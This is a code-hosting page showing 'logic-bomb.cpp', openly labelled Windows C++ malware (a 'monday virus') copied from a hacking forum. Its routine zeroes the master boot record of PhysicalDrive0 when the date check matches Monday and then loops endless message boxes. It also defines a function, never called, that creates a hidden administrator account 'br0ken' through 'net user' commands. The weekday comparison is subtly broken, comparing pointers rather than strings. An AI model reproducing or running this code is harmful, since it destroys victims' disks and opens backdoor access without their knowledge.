-
Notifications
You must be signed in to change notification settings - Fork 0
/
logic-bomb.cpp
61 lines (41 loc) · 1.37 KB
/
logic-bomb.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
//copied from http://www.rohitab.com/discuss/topic/43395-c-logic-bomb-monday-virus/
// monday virus
// overwrites MBR, but only on monday.
#include <Windows.h>
#include <iostream>
#include <ctime>
#include <stdio.h>
#define MBR_SIZE 512
using namespace std;
int ZeroMBR(void) {
DWORD write;
char data[MBR_SIZE];
ZeroMemory(&data, sizeof(data));
HANDLE disk = CreateFile((LPCSTR)"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
WriteFile(disk, data, MBR_SIZE, &write, NULL);
CloseHandle(disk);
return 0;
}
void AddAdminUser(void) {
char * adduser = "net user /add br0ken br0ken";
char * addasadmin = "net localgroup administrators br0ken /add";
WinExec((LPCSTR)adduser, 0);
WinExec((LPCSTR)addasadmin, 0);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
time_t rawtime;
struct tm * timeinfo;
char buffer[100];
time(&rawtime);
timeinfo = localtime(&rawtime);
strftime(buffer, sizeof(buffer), "%A", timeinfo);
const char * str(buffer);
if (str == "Monday") {
ZeroMBR();
while (1) {
int msgBox = MessageBox(NULL, (LPCSTR)"hi", (LPCSTR)"I don't like ur computer", MB_OK);
}
}
MessageBox(NULL, (LPSTR)str, (LPSTR)str, MB_OK);
return 0;
}